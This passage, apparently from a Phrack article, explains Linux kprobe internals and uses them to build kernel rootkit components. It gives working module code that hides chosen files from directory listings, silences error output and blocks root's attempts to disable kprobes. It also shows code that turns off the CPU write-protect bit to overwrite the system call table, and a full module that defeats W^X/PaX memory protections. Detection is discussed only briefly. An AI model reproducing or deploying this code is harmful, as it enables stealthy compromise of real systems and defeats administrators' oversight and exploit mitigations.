soon as our jprobe handler returns. If we apply a kretprobe into the situation we can modify that kernel data structure after the real kernel function returns. Here is an example... Lets say we want to modify the kernel data structure 'kstruct->x' (which is ficticious). We want to modify it, but do not know what value we want to apply to it until 'function_A' executes, but as soon as the real 'function_A' executes after our jprobe handler, it sets the value 'kstruct->x' to something. This is where kretprobes come into play. This is the approach we take, which we can call the 'return probe patching' technique. 1. [jprobe handler for function_A] -> Determines the value that we want to set on kstruct->x 2. [function_A] -> Sets the value of kstruct->x to some value. 3. [kretprobe handler for function_A] -> Sets the value of kstruct->x to value determined by jprobe handler. So as you can see, with kretprobes we end up being able to set the final verdict on a value. Here is a quick example of registering a kretprobe. We will use sys_mprotect for this example as well. The kretprobe data types will be explained in the section 2.4 [kretprobes implementation]. static int mprotect_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs) { printk("Original return address: 0x%lx\n", (unsigned long)ri->ret_addr); return 0; } static struct kretprobe mprotect_kretprobe = { .handler = mprotect_ret_handler, // return probe handler .maxactive = NR_CPUS // max number of kretprobe instances }; int init_module(void) { mprotect_kretprobe.kp.addr = (kprobe_opcode_t *)kallsyms_lookup_name("sys_mprotect"); register_kretprobe(&mprotect_kretprobe); } As you can see I utilize kallsyms_lookup_name(), but interestingly a probe can be set on virtually any instruction within the kernel, whatever means you use to get that location is up to you (I.E System.map). So as you can see, the code is straight forward. From an internal point of view-- by the time sys_mprotect returns, the address at the top of the stack (the ret address) has been modified to point to a function called kretprobe_trampoline() which in turn sets things up to call our mprotect_ret_handler() function where we can inspect and modify kernel data. No point in modifying the registers because they were all saved on the stack and will be reset as soon as our handler returns. More on this in the next section. The kretprobe trampoline function will be explored in detail in 2.4 [Kretprobe implementation]. ---[ 2 - Kprobes implementation ----[ 2.1 - Kprobe implementation Firstly I want to make sure we are on the same page about what a basic kprobe is, and the general idea of how it works. -- Taken from kprobes.txt: When a kprobe is registered, Kprobes makes a copy of the probed instruction and replaces the first byte(s) of the probed instruction with a breakpoint instruction (e.g., int3 on i386 and x86_64). When a CPU hits the breakpoint instruction, a trap occurs, the CPU's registers are saved, and control passes to Kprobes via the notifier_call_chain mechanism. Kprobes executes the "pre_handler" associated with the kprobe, passing the handler the addresses of the kprobe struct and the saved registers. It would be simpler to single-step the actual instruction in place, but then Kprobes would have to temporarily remove the breakpoint instruction. This would open a small time window when another CPU could sail right past the probepoint. After the instruction is single-stepped, Kprobes executes the "post_handler," if any, that is associated with the kprobe. Execution then continues with the instruction following the probepoint. Next, Kprobes single-steps its copy of the probed instruction. -- So to clarify, when registering a typical kprobe a pre_handler should always be assigned so that you can inspect data or do whatever you want during that point. A post handler may or may not be assigned. Since we are primarily using jprobes and kretprobes which are extensions of the kprobe interface, I have chosen to primarily discuss their implementation more so than a plain kprobe. All you need to know for now is that registering a basic kprobe inserts a breakpoint instruction on the desired location, and executes a pre and a post handler that you assign. As you will see in the jprobe and kretprobe implementations which are implemented using a basic kprobe with a pre and post handler, the pre and post handlers point to special kernel functions [/usr/src/linux/arch/x86/kernel/kprobes.c] that act as a sort of prologue/epilogue for the actual handler that executes the instructions. More will be revealed in the following sections. ----[ 2.2 - Jprobe implementation If we are aware of the internal implementation of jprobes and kretprobes then we can utilize them better, and we could even patch the interface itself to act more like we want it, but this defeats the purpose of this paper which aims at patching the kernel using the kprobes interface as it is, although we will explore some external modifications of kprobes later on. Firstly take a look at the following struct: struct jprobe { struct kprobe kp; void *entry; /* probe handling code to jump to */ }; When we call register_jprobe() it in turn calls register_jprobes(&jp, 1). register_jprobes() is all about setting up the jprobe pre/post and entry handler. -- snippet from register_jprobes() in /usr/src/linux/kernel/kprobes.c -- /* See how jprobes utilizes kprobes? It uses the */ /* pre/post handler */ jp->kp.pre_handler = setjmp_pre_handler; jp->kp.break_handler = longjmp_break_handler; ret = register_kprobe(&jp->kp); -- The pre_handler is called before your function/entry handler and is responsible for saving the contents of the stack, the registers, and sets the eip. In normal circumstances the developer has no control over the pre/post handler for jprobes because the kprobe pre and post handler entries within struct kprobe do not point to your own custom handlers, but instead to specialized handlers specifically for the jprobe prologue/epilogue. /* Called before addr is executed. */ kprobe_pre_handler_t pre_handler; /* Called after addr is executed, unless... */ kprobe_post_handler_t post_handler; You could say that the execution of a jprobe looks like this: 1. [jprobe pre_handler] Backup stack and register state 2. [jprobe function handler] Do elite modifications to kernel 3. [jprobe post_handler] Restore original stack and registers. Lets take a peek at the pre_handler which backs up the stack and registers. int __kprobes setjmp_pre_handler(struct kprobe *p, struct pt_regs *regs) { struct jprobe *jp = container_of(p, struct jprobe, kp); unsigned long addr; struct kprobe_ctlblk *kcb = get_kprobe_ctlblk(); kcb->jprobe_saved_regs = *regs; kcb->jprobe_saved_sp = stack_addr(regs); addr = (unsigned long)(kcb->jprobe_saved_sp); /* * As Linus pointed out, gcc assumes that the callee * owns the argument space and could overwrite it, e.g. * tailcall optimization. So, to be absolutely safe * we also save and restore enough stack bytes to cover * the argument area. */ memcpy(kcb->jprobes_stack, (kprobe_opcode_t *)addr, MIN_STACK_SIZE(addr)); regs->flags &= ~X86_EFLAGS_IF; trace_hardirqs_off(); regs->ip = (unsigned long)(jp->entry); return 1; } Pay close attention to the code comment above; Like with Chuck Noris... if Linus says it, then it MUST be true! As you can see, the function gets the current stack location using the stack_addr() macro, and then memcpy's it over to kcb->jprobes_stack which is a backup of the stack to be restored in the post handler. The stack being restored prior to the real function being called does impose some obvious restrictions, but that does not mean that we can't manipulate the pointer values that are passed on the stack which is something we take advantage of in section 2.3 (File hiding). After the jprobe handler is finished, the jprobe post handler is called -- here is the code. int __kprobes longjmp_break_handler(struct kprobe *p, struct pt_regs *regs) { struct kprobe_ctlblk *kcb = get_kprobe_ctlblk(); u8 *addr = (u8 *) (regs->ip - 1); struct jprobe *jp = container_of(p, struct jprobe, kp); if ((addr > (u8 *) jprobe_return) && (addr < (u8 *) jprobe_return_end)) { if (stack_addr(regs) != kcb->jprobe_saved_sp) { struct pt_regs *saved_regs = &kcb->jprobe_saved_regs; printk(KERN_ERR "current sp %p does not match saved sp %p\n", stack_addr(regs), kcb->jprobe_saved_sp); printk(KERN_ERR "Saved registers for jprobe %p\n", jp); show_registers(saved_regs); printk(KERN_ERR "Current registers\n"); show_registers(regs); BUG(); } *regs = kcb->jprobe_saved_regs; memcpy((kprobe_opcode_t *)(kcb->jprobe_saved_sp), kcb->jprobes_stack, MIN_STACK_SIZE(kcb->jprobe_saved_sp)); preempt_enable_no_resched(); return 1; } return 0; } The code primarily restores the stack and re-enables preemption; probe handlers are run with preemption disabled. ----[ 2.3 - File hiding using jprobes/kretprobes Lets consider a simple file hiding approach that consists using the dirent->d_name pointer in filldir64(). char *hidden_files[] = { #define HIDDEN_FILES_MAX 3 "test1", "test2", "test3" }; struct getdents_callback64 { struct linux_dirent64 __user * current_dir; struct linux_dirent64 __user * previous; int count; int error; }; /* Global data for kretprobe to act on */ static struct global_dentry_info { unsigned long d_name_ptr; int bypass; } g_dentry; /* Our jprobe handler that globally saves the pointer value of dirent->d_name */ /* so that our kretprobe can modify that location */ static int j_filldir64(void * __buf, const char * name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int found_hidden_file, i; struct linux_dirent64 __user *dirent; struct getdents_callback64 * buf = (struct getdents_callback64 *) __buf; dirent = buf->current_dir; int reclen = ROUND_UP64(NAME_OFFSET(dirent) + namlen + 1); /* Initialize custom stuff */ g_dentry.bypass = 0; found_hidden_file = 0; for (i = 0; i < HIDDEN_FILES_MAX; i++) if (strcmp(hidden_files[i], name) == 0) found_hidden_file++; if (!found_hidden_file) goto end; /* Create pointer to where we need to modify in dirent */ /* since someone is trying to view a file we want hidden */ g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name; g_dentry.bypass++; // note that we want to bypass viewing this file end: jprobe_return(); return 0; } /* Our kretprobe handler, which we use to nullify the filename */ /* Remember the 'return probe technique'? Well this is it. */ static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs) { char *ptr, null = 0; /* Someone is looking at one of our hidden files */ if (g_dentry.bypass) { /* Lets nullify the filename so it simply is invisible */ ptr = (char *)g_dentry.d_name_ptr; copy_to_user((char *)ptr, &null, sizeof(char)); } } The code above is quite adept at hiding files based on getdents64 being called but unfortunately 'ls' from GNU coreutils will call lstat64 for every d_name found, and if some of the d_names start with a null byte then we will see an error returned by lstat saying "Cannot access : : file not found". So if we are hiding 3 files, then we will see that error message 3 times prior to the directory listing (which will not show the hidden files). One of the primary limitations of kprobe patching is that we cannot modify the return value of a function; the closest we can get is setting up a return probe to modify data that the function may have operated on. There are some indirect methods of altering the return value at times, but after following the code path for lstat64 I found no way to remedy the issue using kprobes. Instead I found the not-so-elegant approach of redirecting the stderr to /dev/null by setting a jprobe and a return probe on sys_write. Additionally, while modifying sys_write, we might as well redirect any attempts to disable kprobes to /dev/null as well. A super user can simply 'echo 0 > /sys/kernel/debug/kprobes/enabled' to disable the kprobes interface (We don't want this). One of the parameters we will pass to insmod when installing our LKM will be the inode of the 'enabled' /sys entry. Below is the code for our modified sys_write. asmlinkage static int j_sys_write(int fd, void *buf, unsigned int len) { char *s = (char *)buf; char null = '\0'; char devnull[] = "/dev/null"; struct file *file; struct dentry *dentry = NULL; unsigned int ino; int ret; char comm[255]; stream_redirect = 0; // do we redirect to /dev/null? /* Make sure this is an ls program */ /* otherwise we'd prevent other programs */ /* From being able to send 'cannot access' */ /* in their stderr stream, possibly */ get_task_comm(comm, current); if (strcmp(comm, "ls") != 0) goto out; /* check to see if this is an ls stat complaint, or ls -l weirdness */ /* There are two separate calls to sys_write hence two strstr checks */ if (strstr(s, "cannot access") || strstr(s, "ls:")) { printk("Going to redirect\n"); goto redirect; } /* Check to see if they are trying to disable kprobes */ /* with 'echo 0 > /sys/kernel/debug/kprobes/enabled' */ file = fget(fd); if (!file) goto out; dentry = dget(file->f_dentry); if (!dentry) goto out; ino = dentry->d_inode->i_ino; dput(dentry); fput(file); if (ino != enabled_ino) goto out; redirect: /* If we made it here, then we are doing a redirect to /dev/null */ stream_redirect++; mm_segment_t o_fs = get_fs(); set_fs(KERNEL_DS); n_sys_close(fd); fd = n_sys_open(devnull, O_RDWR, 0); set_fs(o_fs); global_fd = fd; out: jprobe_return(); return 0; } /* Here is the return handler to close the fd to /dev/null. */ static int sys_write_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs) { if (stream_redirect) { n_sys_close(global_fd); stream_redirect = 0; } return 0; } We close the existing file descriptor and open a new one that will use the same fd number. This redirection of stderr to /dev/null is only for the current process. To understand it a bit more we can follow the code path of do_sys_open(), I've added some extra comments: long do_sys_open(int dfd, const char __user *filename, int flags, int mode) { char *tmp = getname(filename); int fd = PTR_ERR(tmp); if (!IS_ERR(tmp)) { fd = get_unused_fd_flags(flags); if (fd >= 0) { struct file *f = do_filp_open(dfd, tmp, flags, mode, 0); if (IS_ERR(f)) { put_unused_fd(fd); fd = PTR_ERR(f); } else { /* Notice fsnotify_open() */ fsnotify_open(f->f_path.dentry); /* Associate fd with /dev/null */ fd_install(fd, f); trace_do_sys_open(tmp, flags, mode); } } putname(tmp); } return fd; } The new file descriptor is associated with its new file (struct files_struct *) for the current task using fd_install(). void fd_install(unsigned int fd, struct file *file) { struct files_struct *files = current->files; // <-- notice here struct fdtable *fdt; spin_lock(&files->file_lock); fdt = files_fdtable(files); // <-- notice here BUG_ON(fdt->fd[fd] != NULL); rcu_assign_pointer(fdt->fd[fd], file); // <-- notice here spin_unlock(&files->file_lock); } One important note to the reader is, /sys/kernel/debug/kprobes/list the file which shows any registered kprobes. Simply use a redirect technique like the one we used above to track open's to that file and redirect any writes to stdout to /dev/null if the list contains a probe that you have registered. Very trivial, and absolutely necessary to maintain a stealth presence. As the topic of rootkits has become trite ... I would like to introduce some other kprobe examples. Firstly let us discuss the Kretprobe implementation in detail. It will give some more insight into the limitations of kprobes and also expand your mind on how the kprobe implementation may be modified -- which is not covered in this paper. ----[ 2.4 - Kretprobe implementation The kretprobe implementation is especially interesting. Primarily because it is an innovative and nicely engineered chunk of code. Here is how it works. -- From the kprobes.txt -- When you call register_kretprobe(), Kprobes establishes a kprobe at the entry to the function. When the probed function is called and this probe is hit, Kprobes saves a copy of the return address, and replaces the return address with the address of a "trampoline." The trampoline is an arbitrary piece of code -- typically just a nop instruction. At boot time, Kprobes registers a kprobe at the trampoline. The kretprobe implementation is really just a creative way of using kprobes by registering them and assigning the trap handlers functions that deal with modifying the return address. -- From /usr/src/linux/kernel/kprobes.c -- int __kprobes register_kretprobe(struct kretprobe *rp) { int ret = 0; struct kretprobe_instance *inst; int i; void *addr; ... ... rp->kp.pre_handler = pre_handler_kretprobe; rp->kp.post_handler = NULL; rp->kp.fault_handler = NULL; rp->kp.break_handler = NULL; ... ... } NOTE: Notice the rp->kp.pre_handler -- kp is struct kprobe and the pre_handler is assigned pre_handler_kretprobe. So when the return probe is hit, pre_handler_kretprobe() will call arch_prepare_kretprobe() which saves the original return address and inserts the new one: void __kprobes arch_prepare_kretprobe(struct kretprobe_instance *ri, struct pt_regs *regs) { unsigned long *sara = stack_addr(regs); ri->ret_addr = (kprobe_opcode_t *) *sara; /* Replace the return addr with trampoline addr */ *sara = (unsigned long) &kretprobe_trampoline; } Notice the last line which sets the return address to the trampoline. The trampoline is actually defined in an assembly stub, which for x86 looks like this: asm volatile ( ".global kretprobe_trampoline\n" "kretprobe_trampoline: \n" * Skip cs, ip, orig_ax and gs. * trampoline_handler() will plug in these values */ " subl $16, %esp\n" " pushl %fs\n" " pushl %es\n" " pushl %ds\n" " pushl %eax\n" " pushl %ebp\n" " pushl %edi\n" " pushl %esi\n" " pushl %edx\n" " pushl %ecx\n" " pushl %ebx\n" " movl %esp, %eax\n" " call trampoline_handler\n" /* Move flags to cs */ " movl 56(%esp), %edx\n" " movl %edx, 52(%esp)\n" /* Replace saved flags with true return address. */ " movl %eax, 56(%esp)\n" " popl %ebx\n" " popl %ecx\n" " popl %edx\n" " popl %esi\n" " popl %edi\n" " popl %ebp\n" " popl %eax\n" /* Skip ds, es, fs, gs, orig_ax and ip */ " addl $24, %esp\n" " popf\n" #endif " ret\n"); } After the register state is backed up on the stack the stub calls trampoline_handler() which essentially executes any return probe handlers associated with the kretprobe for the given function. Looking at the actual function gives some more insight. static __used __kprobes void *trampoline_handler(struct pt_regs *regs) { struct kretprobe_instance *ri = NULL; struct hlist_head *head, empty_rp; struct hlist_node *node, *tmp; unsigned long flags, orig_ret_address = 0; unsigned long trampoline_address = (unsigned long)&kretprobe_trampoline; INIT_HLIST_HEAD(&empty_rp); kretprobe_hash_lock(current, &head, &flags); /* fixup registers */ #ifdef CONFIG_X86_64 regs->cs = __KERNEL_CS; #else regs->cs = __KERNEL_CS | get_kernel_rpl(); regs->gs = 0; #endif regs->ip = trampoline_address; regs->orig_ax = ~0UL; /* * It is possible to have multiple instances associated with a * given * task either because multiple functions in the call path have * return probes installed on them, and/or more than one * return probe was registered for a target function. * * We can handle this because: * - instances are always pushed into the head of the list * - when multiple return probes are registered for the same * function, the (chronologically) first instance's ret_addr * will be the real return address, and all the rest will * point to kretprobe_trampoline. */ hlist_for_each_entry_safe(ri, node, tmp, head, hlist) { if (ri->task != current) /* another task is sharing our hash bucket */ continue; if (ri->rp && ri->rp->handler) { __get_cpu_var(current_kprobe) = &ri->rp->kp; get_kprobe_ctlblk()->kprobe_status = KPROBE_HIT_ACTIVE; ri->rp->handler(ri, regs); __get_cpu_var(current_kprobe) = NULL; } orig_ret_address = (unsigned long)ri->ret_addr; recycle_rp_inst(ri, &empty_rp); if (orig_ret_address != trampoline_address) /* * This is the real return address. Any other * instances associated with this task are for * other calls deeper on the call stack */ break; } kretprobe_assert(ri, orig_ret_address, trampoline_address); kretprobe_hash_unlock(current, &flags); hlist_for_each_entry_safe(ri, node, tmp, &empty_rp, hlist) { hlist_del(&ri->hlist); kfree(ri); } return (void *)orig_ret_address; } The original return address value is returned, and then the kretprobe_trampoline stub copies it onto the stack at the right location. At which point all of the saved registers are pop'd and restored--resulting in returning to the original calling function with the original return value. I suppose it doesn't take an over active imagination to see that the kretprobe_trampoline stub code can be modified to return a different value. This could be done in several ways, however it would exceed the scope of hacking purely with kprobes. The arch_prepare_kretprobe() function would have to be patched (And it cannot be patched using a kprobe sadly) this is because any functions with a __kprobe in the prototype cannot be patched using kprobe hooks themselves. -- A simple patch within arch_prepare_kretprobe() *sara = (unsigned long)&kretprobe_trampoline; Could be changed to: *sara = (unsigned long)&custom_asm_stub; The problem is that arch_prepare_kretprobe() would have to be modified using a technique alternate to kprobes, which is of course easy enough but exceeds this papers scope. If you are interested in doing this the next section will give you a trick that will be necessary in doing so. ----[ 2.5 - A quick stop into modifying read-only kernel segments If you do feel interested in hijack arch_prepare_kretprobe() using a function trampoline, do remember that modern intel CPU's have the WRITE_PROTECT bit (cr0.wp) which prevents modifications to read-only segments, so anytime you want to modify any data structure that resides in .rodata you will need to use the function I provide below to modify them. The following types of data structures often exist in the kernels text segment: 1. void **sys_call_table 2. const struct file_operations 3. const struct vm_ops 4. kernel functions Data structures defined as 'const' will go into the .rodata section which is at the end of the text segment, and the kernel code itself generally exist in the .text section of the text segment. Attempting writes to these locations will cause kernel freezes/panics/oops. Some people modify the page table entry data for read-only pages they want to modify, but the following functions I have provided are much simpler, and an example will be provided below. /* FUNCTION TO DISABLE WRITE PROTECT BIT IN CPU */ static void disable_wp(void) { unsigned int cr0_value; asm volatile ("movl %%cr0, %0" : "=r" (cr0_value)); /* Disable WP */ cr0_value &= ~(1 << 16); asm volatile ("movl %0, %%cr0" :: "r" (cr0_value)); } /* FUNCTION TO RE-ENABLE WRITE PROTECT BIT IN CPU */ static void enable_wp(void) { unsigned int cr0_value; asm volatile ("movl %%cr0, %0" : "=r" (cr0_value)); /* Enable WP */ cr0_value |= (1 << 16); asm volatile ("movl %0, %%cr0" :: "r" (cr0_value)); } So if you wanted to modify a kernel function pointer that exists within the text segment (If it is declared const) -- I.E the sys_call_table: disable_wp(); sys_call_table[__NR_write] = (void *)n_sys_write; enable_wp(); Or assuming you have a function that hijacks arch_prepare_kretprobe() using the method discussed here [3] disable_wp(); hijack_arch_prepare_kretprobe(); enable_wp(); You get the idea. But since we've fallen a bit off track lets move into the next section which is actually more relative to the paper. ----[ 2.6 - An idea for a kretprobe implementation for hackers The primary restriction in patching the kernels should be obvious by now. We CANNOT modify the return value in return probes (kretprobes). If someone felt so inclined, they could (in an LKM) implement something very similar to the kretprobe implementation. This would allow us to instrument the kernel using kprobes and modify the return value -- therefore easily patching functions like filldir64 which would allow us to simply use our special kretprobe implementation to 'return 0' if the 'char *d_name' matched a file we wanted to hide. If the reader studies /usr/src/linux/kernel/kprobes.c after reading the above section on kretprobe implementation, it becomes apparent that a more flexible kretprobe implementation could be designed. This is hardly non-trivial if the reader followed this paper in its entirety. I simply did not have enough time to design this feature -- a kretprobe for hackers that allows control of the return value. Lets call this feature 'rpe' (Return probe elite) the BASIC schematics would look like: int register_rpe(struct kretprobe *rp) { ... ... rp->kp.pre_handler = pre_handler_rpe; ... ... } static int pre_handler_rpe(struct kprobe *p, struct pt_regs *regs) { arch_prepare_rpe(regs); } void arch_prepare_rpe(struct pt_regs *regs) { unsigned long *ret = stack_addr(regs); ret_addr = (kprobe_opcode_t *) *sara; /* Replace the return addr with trampoline addr */ *ret = (unsigned long) &rpe_trampoline; } rpe_trampoline could be either an asm stub or an actual function -- either way you would want to backup the registers before calling your handler that does what you want -- to process data and ultimately return whatever value you want For instance: __asm__ ("movl $val, %eax\n" "push $ret_addr\n" "ret"); Since I did not provide an implementation for a more flexible kretprobe, the reader may be interested in doing so. Once I get an opportunity I intend on writing an LKM patch for one and releasing it. ---[ 3 - Patch to unpatch W^X (mprotect/mmap restrictions) Lets move on to a couple of other patches using the existing kprobe features to show some usefulness other than a file hiding mechanism. These two patches will aim at disabling the W^X feature that is enabled in kernels -- PaX for instance calls this mprotect restrictions. W^X is to say that an mmap segment cannot be created or modified to be both write+execute. The patches below give us two benefits: 1. On systems with the NX (no_exec_pages) bit set, we will be able to do things like mark the data segment as executable and inject code there for execution using ptrace. 2. Many ELF protectors (Burneye, Shiva, Elfcrypt, etc.) store the encrypted executable in the text segment of the stub/loading code and to decrypt part of a programs own text, would be considered self modifying code -- W^X prevents this -- so with our Anti-W^X patch we can use our ELF Protectors, and make segments such as the stack and data segment, once again, executable on systems with the NX bit set where mprotect/mmap restrictions really make a difference. An important note is that due to the design nature of the following patch, we cannot change the return values; so mprotect and mmap will both give a return value that says they failed-- don't exit based on error checking because your write+execute mmap and mprotect attempts actually succeed. To test you can look at /proc/pid/maps of the given process. -- tested on 2.6.18 -- On modern systems simply change regs->eax to regs->ax in the two necessary spots. Also exporting the module license to GPL is not necessary to use kprobes on modern systems. #include #include #include #include #include #include #define PROT_READ 0x1 /* Page can be read. */ #define PROT_WRITE 0x2 /* Page can be written. */ #define PROT_EXEC 0x4 /* Page can be executed. */ #define PROT_NONE 0x0 /* Page can not be accessed. */ #define MAP_FIXED 0x10 #define MAP_ANONYMOUS 0x20 /* don't use a file */ #define MAP_GROWSDOWN 0x0100 /* stack-like segment */ #define MAP_DENYWRITE 0x0800 /* ETXTBSY */ #define MAP_EXECUTABLE 0x1000 /* mark it as an executable */ /* * It is preferable to write a script that gets * kallsyms_lookup_name() from System.map and then * passes it as a module parameter, but in this example * we just look it up and assign it our selves, so * make sure to change the address. */ unsigned long (*_kallsyms_lookup_name)(char *) = (void *)0xc043e5d0; // change this unsigned long (*_get_unmapped_area)(struct file *file, unsigned long addr, unsigned long len, unsigned long pgoff, unsigned long flags); static struct { int assign_wx; unsigned long start; size_t len; long prot; } mprotect; MODULE_LICENSE("GPL"); asmlinkage int kp_sys_mprotect(unsigned long start, size_t len, long prot) { struct vm_area_struct *vma = current->mm->mmap; mprotect.assign_wx = 0; mprotect.start = start; mprotect.prot = prot; /* This doesn't concern us */ if (!(prot & PROT_EXEC) && !(prot & PROT_WRITE)) goto out; down_write(¤t->mm->mmap_sem); /* Get vma for start memory area */ vma = find_vma(current->mm, start); if (!vma) goto free_sem; if (prot & (PROT_WRITE|PROT_EXEC)) { mprotect.assign_wx++; goto free_sem; } if (prot & PROT_WRITE) { mprotect.assign_wx++; goto free_sem; } if (prot & PROT_EXEC) { mprotect.assign_wx++; goto free_sem; } free_sem: up_write(¤t->mm->mmap_sem); out: jprobe_return(); return 0; } /* before the following function is executed, a W^X patch such as PaX mprotect/mmap restrictions, will have code such as: if ((vm_flags & (VM_WRITE | VM_EXEC)) != VM_EXEC) vm_flags &= ~(VM_EXEC | VM_MAYEXEC); else vm_flags &= ~(VM_WRITE | VM_MAYWRITE); But our return probe gets the last say in the matter. mprotect will return like it failed (With a positive value) but the VMA's or memory maps will be both write+execute, just make sure that you don't error checking then exit if mprotect or mmap fail because they will return failed values. */ static int rp_mprotect(struct kretprobe_instance *ri, struct pt_regs *regs) { struct vm_area_struct *vma; if (!mprotect.assign_wx) goto out; down_write(¤t->mm->mmap_sem); /* Get vma for start memory area */ vma = find_vma(current->mm, mprotect.start); if (!vma) goto sem_out; if (mprotect.prot & PROT_EXEC) { vma->vm_flags |= VM_MAYEXEC; vma->vm_flags |= VM_EXEC; } if (mprotect.prot & PROT_WRITE) { vma->vm_flags |= VM_MAYWRITE; vma->vm_flags |= VM_WRITE; } sem_out: up_write(¤t->mm->mmap_sem); out: return 0; } struct { unsigned long addr; #define MMAP_CLEAN 0 #define MMAP_DIRTY 1 int mmap_prot_state; unsigned int len; } do_mmap_data; /* Return probe code for sys_mmap2 */ static int rp_mmap(struct kretprobe_instance *ri, struct pt_regs *regs) { struct vm_area_struct *vma = current->mm->mmap; /* we are assuming the default function to get an unmapped region is arch_get_unmapped_topdown() */ if (do_mmap_data.addr - regs->eax == do_mmap_data.len) do_mmap_data.addr = regs->eax; else goto out; // pretty unlikely switch(do_mmap_data.mmap_prot_state) { case MMAP_CLEAN: break; case MMAP_DIRTY: // lets undo the work of the W^X patch :) down_write(¤t->mm->mmap_sem); vma = find_vma(current->mm, do_mmap_data.addr); if (!vma) break; printk("Found vma's and setting all writes and exec possibilities\n"); vma->vm_flags |= (VM_EXEC | VM_MAYEXEC); vma->vm_flags |= (VM_WRITE | VM_MAYWRITE); up_write(¤t->mm->mmap_sem); break; } out: return 0; } asmlinkage long kp_sys_mmap2(unsigned long addr, unsigned long len, unsigned long prot, unsigned long flags, unsigned long fd, unsigned long pgoff) { struct file *file = NULL; printk("In sys_mmap2\n"); do_mmap_data.len = len; /* We emulate a combination of sys_mmap2 and do_mmap_pgoff */ /* This is the easiest scenario */ /* because we know the mmap addr */ if (flags & MAP_FIXED) { printk("MAP_FIXED\n"); do_mmap_data.addr = addr; if ((prot & PROT_EXEC) && (prot & PROT_WRITE)) do_mmap_data.mmap_prot_state = MMAP_DIRTY; else do_mmap_data.mmap_prot_state = MMAP_CLEAN; goto out; } flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE); if (!(flags & MAP_ANONYMOUS)) { file = fget(fd); if (!file) goto out; } /* mimick do_mmap_pgoff to get the linear range */ down_write(¤t->mm->mmap_sem); if (file) { if (!file->f_op || !file->f_op->mmap) goto sem_out; } if (!len) goto sem_out; len = PAGE_ALIGN(len); if (!len || len > TASK_SIZE) goto sem_out; if ((pgoff + (len >> PAGE_SHIFT)) < pgoff) goto sem_out; /* when the real sys_mmap2/do_mmap_pgoff are called * they will get the next linear range * which will be at do_mmap_data.addr - do_mmap_data.len * This relies on get_unmapped_area() calling arch_get_unmapped_area_topdown() */ printk("get_unmapped_area call\n"); addr = _get_unmapped_area(file, addr, len, 0, flags); printk("addr: 0x%lx\n", addr); do_mmap_data.addr = addr; if ((prot & PROT_EXEC) && (prot & PROT_WRITE)) do_mmap_data.mmap_prot_state = MMAP_DIRTY; else do_mmap_data.mmap_prot_state = MMAP_CLEAN; sem_out: up_write(¤t->mm->mmap_sem); out: jprobe_return(); return 0; } static struct jprobe sys_mmap2_jprobe = { .entry = (kprobe_opcode_t *)kp_sys_mmap2 }; static struct jprobe sys_mprotect_jprobe = { .entry = (kprobe_opcode_t *)kp_sys_mprotect }; static struct kretprobe mprotect_kretprobe = { .handler = rp_mprotect, .maxactive = 1 // this code isn't really SMP reliable }; static struct kretprobe mmap_kretprobe = { .handler = rp_mmap, .maxactive = 1 // this code isn't really SMP reliable }; void exit_module(void) { unregister_jprobe(&sys_mmap2_jprobe); unregister_jprobe(&sys_mprotect_jprobe); unregister_kretprobe(&mprotect_kretprobe); unregister_kretprobe(&mmap_kretprobe); } int init_module(void) { int j = 0, k = 0; _get_unmapped_area = (void *)_kallsyms_lookup_name("arch_get_unmapped_area_topdown"); sys_mmap2_jprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mmap2"); /* Register our jprobes */ if (register_jprobe(&sys_mmap2_jprobe) < 0) goto jfail; j++; sys_mprotect_jprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mprotect"); if (register_jprobe(&sys_mprotect_jprobe) < 0) goto jfail; mprotect_kretprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mprotect"); /* Register our kretprobes */ if (register_kretprobe(&mprotect_kretprobe) < 0) goto kfail; k++; mmap_kretprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mmap2"); if (register_kretprobe(&mmap_kretprobe) < 0) goto kfail; return 0; jfail: printk(KERN_EMERG "register_jprobe failed for %s\n", (!j ? "sys_mmap2" : "sys_mprotect")); kfail: printk(KERN_EMERG "register_kretprobe failed for %s\n", (!k ? "mprotect" : "mmap")); return -1; } module_exit(exit_module); --- end of code --- ---[ 4 - Notes on rootkit detection for kprobes If a kernel rootkit is designed soley using kprobes and properly hides itself from the kprobe entries in sysfs, then a rootkit detection program can still easily detect what kernel functions have been hooked. I will leave this obvious solution to anyone interested in adding this feature to their detectors but the answer lies in this paper as well as the kprobe documentation. ---[ 5 - Summing it all up We have seen that the kprobe interface, which is primarily implemented for kernel debugging can be used to instrument the kernel in some interesting ways. We have explored kprobes strengths, weaknesses, and provided several examples of weakening the kernel by patching it using jprobe and kretprobe techniques. We also went over some ideas for implementing a more hacker friendly kretprobe implementation (Although we did not provide one). It is also important to mention to people who are engineering security code that kprobes can also be used to debug kernel code, as well as install simple patches for hardening the kernel. But phrack isn't about that, so patches to harden the kernel were not included -- just know that it is possible. ---[ 6 - Greetz kad - thanks for encouraging me to write this, and being cool guy with priceless skills and good advice. Silvio - My initial inspiration for kernel and ELF hacking all started with you. You've been a good friend and mentor, many many thanks. chrak - My long time friend and occasional coding partner. 13yrs ago this guy helped me write my first backdoor program for Linux. nynex - I owe you for hosting my stuff and being a good friend. mayhem - For writing some really cool ELF code and being an inspiration. grugq - Your original AF work has been an inspiration as well. halfdead - For knowing everything about the universe and our realm *literally* jimjones (UNIX Terrorist) - you will be getting a copy of this soon, word. All of the digitalnerds -- especially halfdead, scrippie, pronsa and abh. #bitlackeys on EFnet, a small and strange little channel with people whom I've been friends with for years. #formal on a secret network with extremely smart people and good conversation. RuxCon folk are pretty much all awesome too, thanks. ---[ 7 - References Please note that I did not use any references other than code and official documentation for this paper, but the following papers are quite relevant and since I have read them (along with many other great papers) they all play a role in my collective knowledge of kernel malware and rootkit exploration. [1] kad - Handling interrupt descriptor table for fun and profit http://www.phrack.org/issues.html?issue=59&id=4#article [2] Halfdead - Mystifying the debugger for ultimate stealthness http://www.phrack.org/issues.html?issue=65&id=8#article [3] Silvio - Kernel function hijacking (Function trampolines) http://vxheavens.com/lib/vsc08.html ---[ 8 - Code ----EOF---- ==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x07 of 0x10 |=-----------------------------------------------------------------------=| |=------=[ ProFTPD with 